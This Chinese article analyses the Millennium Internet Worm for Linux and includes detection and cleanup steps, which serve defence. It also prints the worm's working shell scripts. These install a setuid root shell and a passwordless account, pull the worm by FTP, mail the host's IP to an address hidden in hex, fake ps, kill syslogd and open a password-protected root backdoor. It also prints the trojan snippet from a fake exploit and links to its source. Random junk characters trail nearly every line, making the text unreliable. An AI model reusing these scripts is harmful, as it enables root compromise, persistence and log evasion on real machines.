科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道分析一个linux下的蠕虫

分析一个linux下的蠕虫

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。

作者:ccidnet 来源:ccidnet 2007年10月15日

关键字: 病毒 蠕虫 分析 Linux

  • 评论
  • 分享微博
  • 分享邮件
一、简介 n$0$ 43f  
%gT`-k}kca  
千年蠕虫(The Millennium Internet Worm)——后面简称worm,是一段script及程序组成的,它执行的功能是利用linux系统的某些远程漏洞,获取该系统的进入权限,并且将自身复制到其上并继续繁殖。现在发现的worm是针对x86的linux中imap4v10.X,Qualcomm popper, bind , rpc.mountd 这些存在明显漏洞的服务进攻的。但它也做了一件好事——修补了安全漏洞…… eq~eie H@  
n]r %NAc  
二、技术分析 Egf@6, e  
V-79Np  
我们最早发现的蠕虫据称是在ADMmountd2的远程漏洞利用程序中的(这个程序是对linux的rpc.mountd服务进行攻击并可获取最高权限——这里不详述),但ADM组织否认曾经发布过带有该特洛伊程序的代码,并将其归类于假冒ADM作品,可以参见ftp://adm.freelsd.net/ADM/FAKES/ maintained by ndubee@df.ru]. QW~-(KQ&Y  
OHibuuNwj  
这个木马是放在ADMmountd的所谓更新版本中,并在措词中表明这一版本的利用程序更为实用,但其实隐蔽的代码就躲在ADMgetip.c中,ADM在其站点限制了对这一工具的下载,所以这里我把它提供给大家,仅仅是用于教育目的——这一木马于1999-8-15被发现。 %w (eF"Z  
r0}_Zt(XN|  
你可以在http://focus.silversand.net/newsite/tool/adm_fake.c下载ADMgetip-TROJAN-VERSION.c。 Sj`=Pn7"A_  
'S*'CW(  
1、原型 DW; ZL  
rb]]\ Yq  
该代码段中有一段mworm.tgz的uuencode代码,当运行该程序时,它会被展开于目录/var/tmp/tmp,并且执行一个名为wormup的程序,代码段如下: Wn ,=Kg  
J}wx;Pa=  
//Trojan Code from ADMgetip.c AE Q#H*z4  
wB+T<K Lt*  
FILE *fp=fopen("/var/tmp/tmp","w"); //打开文件 2'L2D=*  
if(getuid()!=0) { fprintf(stderr,"operation not permitted\n"); exit(0); } v?2</D  
//检查uid是否为root  <97[0is  
fprintf(fp,"begin-base64 644 mworm.tgz CO=>-a*~/  
H4sIANpU/TYAA+xaD3CUx3XfOx1wHALEHxts4/hDRrYE0vHdSQJkgQsIYWhk Yb5Q' jDG  
UCSQHSM4n+6+4ztxujvfHypiuwEr1DqEYsWeTp1MUhOctEnr6biMnSbFY8vA ~c1Z0};:  
YNyBlGB3ShonZVy3ORmSIZgabMtcf293v7vvOwk7k4k7k5l8o3f7vd23b9++ j[x7v"  
... [ large uuencoded mworm.tgz here ] =\05oxl9  
emgL0uE1iuMHR6u1MaA8jUhjOHm2+OzzGLqoNLv0SRpBuNS6XmDYdwe6Z55f q[ 0fM  
bYCEt3q80+XpdMU1NM8J2FDCra2crXTRduAMD0Johcwe8ODFVzDnnwNKJcF8 \ {,*)6  
ivJ+7s3IgAEDBgwYMGDAgAEDBgwYMGDAgAEDPxS+AlHjZQIA+AIA yr+~IwR  
====\n"); //这是一段很长的uuecoded过的代码 d\("U86$  
system("( cd /var/tmp;uudecode < tmp ; sleep 1; tar xzvf mworm.tgz;\ y*:7({M4  
./wormup ) >/dev/null 2>/dev/null &"); //解码并执行wormup程序 WvtfK%7O"  
r[k!hbZj2  
注意如果权限并非root的话,是无法继续的,该mworm.tgz展开后有如下文件: *Rl?NV!  
zI?^D_}yu  
Directory of /var/tmp O/ax~k 'bl  
*`>+`1%M  
-rw-r--r-- 1 root root 51564 Aug 17 22:21 mworm.tgz 8LA;1` +  
-rwxr-xr-x 1 root root 8647 Dec 31 1999 Hnamed* FzG`!"  
-rwxr-xr-x 1 root root 5173 Dec 31 1999 Hnamed.c* oEYTSYN  
-rwxr-xr-x 1 root root 477 Dec 31 1999 IP* S*FV0d}A  
-rwxr-xr-x 1 root root 1728 Dec 31 1999 README-ADMINS* Pq3H{Kjd  
-rwxr-xr-x 1 root root 5749 Dec 31 1999 bd* @lq^GARP*  
-rwxr-xr-x 1 root root 1340 Dec 31 1999 bd.c* a.W>Pkf  
-rwxr-xr-x 1 root root 0 Dec 31 1999 cmd* Ra#X?Vde  
-rwxr-xr-x 1 root root 5292 Dec 31 1999 ftpscan* A4R6^X5  
-rwxr-xr-x 1 root root 911 Dec 31 1999 ftpscan.c* $Z P<Or#  
-rwxr-xr-x 1 root root 8750 Dec 31 1999 ftpx* 4sH}$Orefo  
-rwxr-xr-x 1 root root 5108 Dec 31 1999 ftpx.c* 7Wz|i?@&  
-rwxr-xr-x 1 root root 2398 Dec 31 1999 getip.c* h~h u  
-rwxr-xr-x 1 root root 6436 Dec 31 1999 im* '*i6i{k\  
-rwxr-xr-x 1 root root 2634 Dec 31 1999 im.c* c at5 %h   
-rwxr-xr-x 1 root root 151 Dec 31 1999 infect* & dAdO%x  
-rwxr-xr-x 1 root root 1 Dec 31 1999 infected* \W(7wRa(.w  
-rwxr-xr-x 1 root root 2755 Dec 31 1999 ip_icmp.h* k3G qw  
-rwxr-xr-x 1 root root 6175 Dec 31 1999 mount.h* b\uwv83  
-rwxr-xr-x 1 root root 5152 Dec 31 1999 mount.x* ,"lk!6Y<  
-rwxr-xr-x 1 root root 2222 Dec 31 1999 mount_clnt.c* CH}(*'y!  
-rwxr-xr-x 1 root root 3178 Dec 31 1999 mount_svc.c* 7k_IQ*VT  
-rwxr-xr-x 1 root root 2366 Dec 31 1999 mount_xdr.c* i >dc,!s  
-rwxr-xr-x 1 root root 13048 Dec 31 1999 mountd* %!0Q,In8  
-rwxr-xr-x 1 root root 7723 Dec 31 1999 mountd.c* <[p\!T"c  
-rwxr-xr-x 1 root root 668 Dec 31 1999 mwd* H>iDo7yIe7  
-rwxr-xr-x 1 root root 561 Dec 31 1999 mwd-ftp* y Yenv@  
-rwxr-xr-x 1 root root 448 Dec 31 1999 mwd-imap* 8ek_*C  
-rwxr-xr-x 1 root root 355 Dec 31 1999 mwd-mountd* !6kKq= ]4M  
-rwxr-xr-x 1 root root 529 Dec 31 1999 mwd-pop* ~Bue<LI  
-rwxr-xr-x 1 root root 755 Dec 31 1999 mwi* z5 cF`d  
-rwxr-xr-x 1 root root 844 Dec 31 1999 mworm*  Xy+ #A(I  
-rwxr-xr-x 1 root root 4617 Dec 31 1999 mwr* ~y!vq2z &  
-rwxr-xr-x 1 root root 407 Dec 31 1999 mwr.c* pd:t  
-rwxr-xr-x 1 root root 5849 Dec 31 1999 mws* +U4 !=ss  
-rwxr-xr-x 1 root root 1522 Dec 31 1999 mws.c* /d$"8G$@_  
-rwxr-xr-x 1 root root 1439 Dec 31 1999 pgp* YW:fj8W7  
-rwxr-xr-x 1 root root 1226 Dec 31 1999 prepare* W eRkz9  
-rwxr-xr-x 1 root root 5430 Dec 31 1999 q* LT+W>/dj  
-rwxr-xr-x 1 root root 1350 Dec 31 1999 q.c* HQ=CYju  
-rwxr-xr-x 1 root root 6785 Dec 31 1999 qp* *fW8#Fn'a  
-rwxr-xr-x 1 root root 2886 Dec 31 1999 qp.c* oi8@aR  
-rwxr-xr-x 1 root root 5680 Dec 31 1999 remotecmd* CaQG  
-rwxr-xr-x 1 root root 1834 Dec 31 1999 remotecmd.c* WE$ve!=  
-rwxr-xr-x 1 root root 7286 Dec 31 1999 test* ! Wyzt(3[  
-rwxr-xr-x 1 root root 4355 Dec 31 1999 test.c* w  x'Qz  
-rwxr-xr-x 1 root root 1037 Dec 31 1999 wormup* FW}2X4Mi  
=[*]a0R2  
(q] tJ  
在该文件展开后,第一件事就是执行wormup代码,内容如下: $@KlGm  
\b|bEFl  
# cat wormup "D$HD -S  
e_ jtd_vy  
#!/bin/sh ?V i}J  
# MILLENNIUM WORM SETUP SCRIPT +m|DIB l  
# ./wormup -dist = create a new build I; qkK_B  
# ./wormup & = install the worm (root) I#;Jf}   
if [ x$1 = "x-dist" ] c}fK&  
then l~**h$HH  
echo "Creating Millennium Worm distribution." +m7Us`1  
indent *.c )lE-4\ l(  
rm -f *~ g6[q6,#Z  
echo -n "Compiling: " Ro0925IS^  
for C in Hnamed q bd im qp ftpscan mwr remotecmd ftpx mws test GWz.)/,  
do /jZl.|  
rm -f $C OFQ(`  
gcc -Wall -O2 ${C}.c -o $C c>;v3D   
echo -n $C" " ::Q3Hde[f  
done (W&+D428  
rm -f mountd a"HXl}83P  
rpcgen -C mount.x && gcc -Wall -O2 mountd.c -o mountd \ $,bS-`  
>/dev/null 2>/dev/null LP&5HPJ  
echo "mountd ..done" P \H@?u&  
echo -n "Fixing misc. file stuff... " b*'kr_\l  
printf "" > cmd (?9qD`  
printf "0" > infected 6"VMh_a  
chmod 755 * #W@}cNK  
touch -t 010100002000.00 * ` @A^^H  
echo "done." c 1*GAKY  
rm -f mworm.tgz 7/0t`pfv  
tar czf mworm.tgz * C3~fgF.';  
echo "Finished. mworm.tgz recreated." h p0~G4  
exit 0 b xc}yz  
fi w6Ipy  
if [ $UID != 0 ] ; then >"oeX]_],H  
echo You need root to screw up this machine, sorry. !ay MeMat  
exit 0 `$qv#d&2  
fi })Gl-   
cp /bin/sh /bin/.mwsh && chmod 4755 /bin/.mwsh IMlSY:%@  
mkdir /tmp/.... && cp mworm.tgz /tmp/.... &:3 T  
echo mw::2222:555:millennium worm:/:/bin/sh >>/etc/passwd Pk2 ./&  
cd /tmp/.... && tar xzvf mworm.tgz 0J ujNu`v  
./mworm >/dev/null 2>/dev/null & R:Y {-)-}  
echo "Millennium Worm(tm). Phear thy unix like thyself." CN SEgcjE(  
&8sB;'h  
这段代码做了以下几件事情 M $R+fT8mY  
=efHn!y|M  
删除并且重新编译worm.tgz里的二进制文件。 m li"+  
准备通过网络感染的程序 6y]~|Y"0  
给cmd文件清零,以便稍候使用 ]JKSet.  
给infected文件清零,用来充当counter Z}(BX#GVP  
将所有文件的许可权限设为755 {<Qf=ms?E  
将所有文件的时间戳设为2000-1-1, 00:00:00 =GuKfmA{  
重新将mworm.tgz这家伙打好包放在/var/tmp中 Q{ljm^  
l"LuEo&3a  
2、在本地机器上的行为 8xRb8H.k$  
NT`21l{(  
当它被安装于机器中时,该蠕虫会运行wormup脚本执行下面的工作: -IQVH"cdo  
Rc7:!\F'  
建立一个没有密码的帐号mw 3nyF{z!_  
拷贝一个suid的root shell到/tmp/.mwsh Hj@VVf  
发动蠕虫 UD_Y,C  
9.uDdT'!w  
在蠕虫发动后,会有下列情况发生: ?`K4OV2  
C1 ^Q.f[#  
蠕虫会把自己加在/etc/rc.d/rc.local以及/etc/profile中将系统的IP地址发送到trax31337@hotmail.com这个email地址,通过随意地扫描并攻击网络其它主机,将自身复制到上面 Pkh/4D"w  
g]ry)&&;  
3、在网络中的行为 &qIOG j  
+Xkqi   
任何被获得了root权限并安装了蠕虫的机器都会被激活并参与展开进攻感染行为,需要记住,该脚本有一 b@#4`z5oI  
个-dist的选项并没有被马上使用到,首先我们先看它做什么: Fm G[o,  
^XRW +F3  
建立一个suid的root shell/tmp/.mwsh e~2| 2  
在/etc/passwd中加入一个名为mw,uid为2222,密码为空的帐号 !zMW',K  
将mworm.tgz展开到/tmp/... \._nc0u  
执行mworm `Id^8b=  
o| -y  
#cat .mworm a:S R  
 :.%IH   
#!/bin/.mwsh ]Q`@2D  
# Millennium Worm by Anonymous Q 5'-iw<  
# If you found this on your machine, but didn't download it 4}_ptjJy  
# well.. you have a problem :) L T-gG  
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:." a`|%F|  
export IP_A=`./IP` x!AnKujc0  
2B8 SA   
./prepare for your d00m mortalz 7/H1H,  
XV;b UO  
cat << _EOF_ > cmd E,Z\* h bC  
mw Z/dWa&  
mw L1Y% 94  
mw zGfaMwpd  
mw 1|XT94c  
mw r&>@,N)d  
/bin/.mwsh -c "/usr/sbin/named" & BX=3;xYw  
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:." 4 P'Ju*B`.  
mkdir /tmp/.... v}rY^a{<(D  
cd /tmp/.... 4(S|C2Q[  
if [ -f /tmp/.X12 ] <|a:!:  
then ztEaSaK&  
logout |B,clp6FZX  
fi U+&dGt9C_  
ftp $IP_A t5^lmNR1  
mw # 9j>tY]b  
v}J:|)cHs  
z?;.q  
cd /tmp/.... BeGtF.u*x  
get mworm.tgz "20+YX-  
bye (%d5 S  
tar xvzf mworm.tgz ku A7^[^g  
touch /tmp/.X12 WgUcRd=  
nohup ./mworm & 9M`HuKs*  
./IP | mail `printf "\x74\x72\x61\x78\x33\x31\x33\x33\x37\x40\ Rm(aU_E,v  
\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"` ` ? D]){  
logout peFPX0m  
_EOF_ g*KE  
W~X5&( ~  
./mwd & #A1,ygT 9  
./mwd-pop & R6H'?qq9R  
./mwd-imap & \gunzho@"  
./mwd-mountd & ?!l]1WP  
./mwd-ftp & > coBB$  
sleep 60 m\;*(D)(M  
nohup ./mwd & 9l+x}wl5  
nohup ./mwd-pop & 2tTeE]Y  
nohup ./mwd-imap & M QntPc6(A  
nohup ./mwd-mountd & UAeUn  
nohup ./mwd-ftp & 28i5 gK!  
Rb@_[q  
/bin/.mwsh -c ./bd 1d9KzDeza  
t}c@nKQa#  
7"4Hno3|\f  
这段脚本看来是这个worm的核心所在了,它执行下面功能: 3nG.H:nQ{i  
5,L, hr  
运行准备好的脚本——附于下面 ]1Ol*equw;  
建立一个cmd脚本——是将对目标机器执行的命令 &*=Q"[QJ  
发送email——包含该主机的IP地址——到trax31337@hotmail.com TwN[ AeV?  
发动守护进程mwd, mwd-pop, mwd-imap, mwd-mountd, and mwd-ftp bOK7PI5Cq~  
运行bd,这是一个后门,绑定端口1338并允许在收到验证密码为millennium后以root身份进入。 ku`~wuL  
B"~ AUI/  
#cat prepare *$G`#kAp  
m[G wW7 ?  
#!/bin/.mwsh s/%DxP&  
# Millennium Worm Preparation File cr1#4O4  
# This sets up the stuff to make sure your p!lC]|u;  
# machine will be owned in a neat and proper way ;D g0/~A _{]  
60hVgd2Pb  
export PATH="/bin/:/usr/sbin/:/usr/bin:/sbin:/usr/local/bin:." +h3i6+%ew  
=+*b0NY-  
if [ -f /bin/.ps ] 8c3A@PCfea  
then \UX]R`2  
printf "" Vv_fU0t3&  
else h 0W>toO  
./README-ADMINS >/dev/null 2>/dev/null & v3  c+Y  
mv /bin/ps /bin/.ps;echo "/bin/.ps \$* | grep -v ps | grep -v mw | \ qOh/ J{;  
grep -v grep" >> /bin/ps ; chmod 755 /bin/ps k98 l${  
if [ -f /etc/rc.d/rc.local ] 8aM : U:w  
then ojJ9E*z+  
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \ ')v}ECLVI  
>> /etc/rc.d/rc.local Rt!,lCD  
else lm: P  
echo "( sleep 10 ; cd /tmp/..../ ; ./mworm ) >>/dev/null & " \ !m$ ]$]I  
>> /etc/profile < V57" }  
fi w+yu|LjN  
chattr +ia /tmp/..../*.c /tmp/..../mwd* /tmp/..../prepare /bin/.mwsh >"-^G~S  
chattr +ia /etc/rc.d/rc.local /etc/profile /tmp/..../mwo* /tmp/..../IP vwq mXn  
chattr -ia /tmp/..../mount_*.c >\zW]  
fi Pg }b;{  
zL75cNf  
killall -q -9 syslogd [*[n  
#j4_}MK  
gcc -Wall -O2 Hnamed.c -o Hnamed lAoJGa&Pk  
gcc -Wall -O2 mwr.c -o mwr T6CgQY|:-_  
gcc -Wall -O2 q.c -o q L^oRE~'  
gcc -Wall -O2 remotecmd.c -o remotecmd b3X1T/VX  
gcc -Wall -O2 test.c -o test \Jm3k v  
gcc -Wall -O2 bd.c -o bd T d 62%b<  
gcc -Wall -O2 im.c -o im 4fboD(  
gcc -Wall -O2 qp.c -o qp &0w;7  
gcc -Wall -O2 mws.c -o mws 70NUiK1  
gcc -Wall -O2 ftpscan.c -o ftpscan P$-6) wZmb  
gcc -Wall -O2 ftpx.c -o ftpx C6f{Y:  
rpc=`which rpcgen` >65%N]=jE*  
which rpcgen && $rpc -C mount.x && gcc -Wall -O2 mountd.c -o mountd z IL;  
k,C"k-  
/bin/.mwsh -c ./bd & ;-&} 3`M-  
}Ov g~s#  
"Ksi#>,Ku  
不用多说了,这段脚本执行了下面的工作: H@z\tC'w  
>Hh[W'-  
运行了"README-ADMINS",将主机弄安全些。 m!>>c`cg  
将ps用假的替换掉,以便隐藏该worm -6`", kRg  
将自己加到系统开始时的rc文件中 1oJvb qL  
将worm的文件变为不可更改,不可删除——但root可以用chattr来改变 cCaoXK  
杀掉syslogd d/4a# o`  
运行bd,打开1338的root shell允许远程root以millennium密码登入 ]R\q g|`E  
))4Wc.  
三、删除蠕虫 h9]+,>>m  
DFzViif  
1、检测主机: a-:VW  
O$MCz  
/etc/passwd中有一个密码为空的mw帐号 sd3 UO q+  
/tmp/.mwsh存在并且是一个suid的root shell $v=`V\3'k  
/tmp/....夹存在并且里面有worm的一些文件 W`[Yg3~d?  
/etc/rc.d/rc.local的文件被更改并且放入了mworm,以便自启动 $UUu O3l  
/etc/profile文件被更改 uJ RMQhi6  
syslogd进程莫名其妙地终止了 i7>@/IyZ*e  
mountd被停掉了 65fs&E ~,  
dns服务被过滤掉 wZwCe*0Q  
qpop和imap被升级了;) tQE*U 6~<  
/etc/hosts.deny和/etc/hosts.allow被清空 bsE2QE>  
下面的进程在跑.mwsh, mworm, Hnamed, remotecmd, mwd, mwd-ftp, qG4u"m'pr  
mwd-imap, mwd-pop, mwd-mountd, ps ("bd" 的后门伪装成的ps) Shk_ GR|<  
6!sFT+(+  
1^{R  
2、检查网络: Opl?eTif0  
S#4 hJ;$T  
有email外发至trax31337@hotmail.com $: Y@E4z  
有名为mw的用户从ftpd服务登入或者收到mworm.tgz文件 _N^==Z T?T  
(这两个检测并不一定准确,因为syslogd被停了,如果有设代理的话则可能在代理的记录里可能找到) :~4n7J.3  
tcp连接到端口1338——绑定的后门 ]MX>NXg:  
从53端口的外发信息——可能是bind漏洞攻击 jD<^4GQ=  
从110端口的外发信息——可能是qpopper漏洞攻击 Rwo?r YA  
从143端口的外发信息——可能是imapd漏洞攻击 @BsU.b:729  
从635端口的外发信息——可能是rpc.mountd漏洞的攻击 W9J;r5$I>J  
从23端口的外发信息——可能是worm在通过remotecmd散布 82Gsp* r!  
&ei-k1K  
[lw4wRC   
3、预防 JjX}(CYQ  
RV*4<_:Rv  
升级——worm是利用系统的远程漏洞获得roo权限才能攻击的,如果升级到最新的版本,就不会存在这些特殊而且明显的漏洞了,那么也就有效地将worm阻于门外,不过要记住,任何一个攻击者都可以轻易地将这个worm稍加更改用于现在的系统,现在的漏洞,来攻击你现在的机器;),所以最的的办法只能是关注网络安全;) G]/~|#  
n LLo#  
红帽子的用户可以到http://www.redhat.com/errata/获取相关信息 V]dhuF5f%w  
\Y2+.*2Z  
4、修复 \ }TY"xP  
 H$ "w  
如果已经被worm感染的话,要修复它是很容易的,你只需要: 7dm}([m}  
z4Q5=[-#J(  
删除suid的root shell[/bin/rm -rf /tmp/.mwsh] 08/rq7  
停止运行中的worm进程[/usr/bin/killall -9 mworm] 6q1PC?DJ  
去除在mworm文件上的写保护标记[/usr/bin/chattr -R -ia /tmp/....] l4>gh_ -  
删除worm文件[/bin/rm -rf /tmp/....] p[&47pPV-  
将正常的ps文件拷回去[/bin/cp /bin/.ps /bin/ps]——最好重新build一个吧;) = 9Sn0RmvM  
将mw用户从/etc/passwd中移除[/usr/sbin/userdel -r mw] J\L*|"C)7  
将worm的自启动的东西从/etc/rc.d/rc.local及/etc/profile中删除 U>nn 09  
杀掉bd的后门的进程,如果你已经删掉了worm的文件,重新启动就可以去掉它了 foti|#FsTS  
B/L*(QH'  
如果你已经被worm所感染的话,那至少表明你的系统曾经完全地被别人拥有过,他有能力对系统做任何事,所以仅仅杀掉worm的进程,删除其文件,删除mw的用户等工作仅仅是去掉了一些公式化的东西,所以不能保证你的机器里还有些什么新奇有趣的后门或者其它东西,最好的办法——还是关注安全……
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章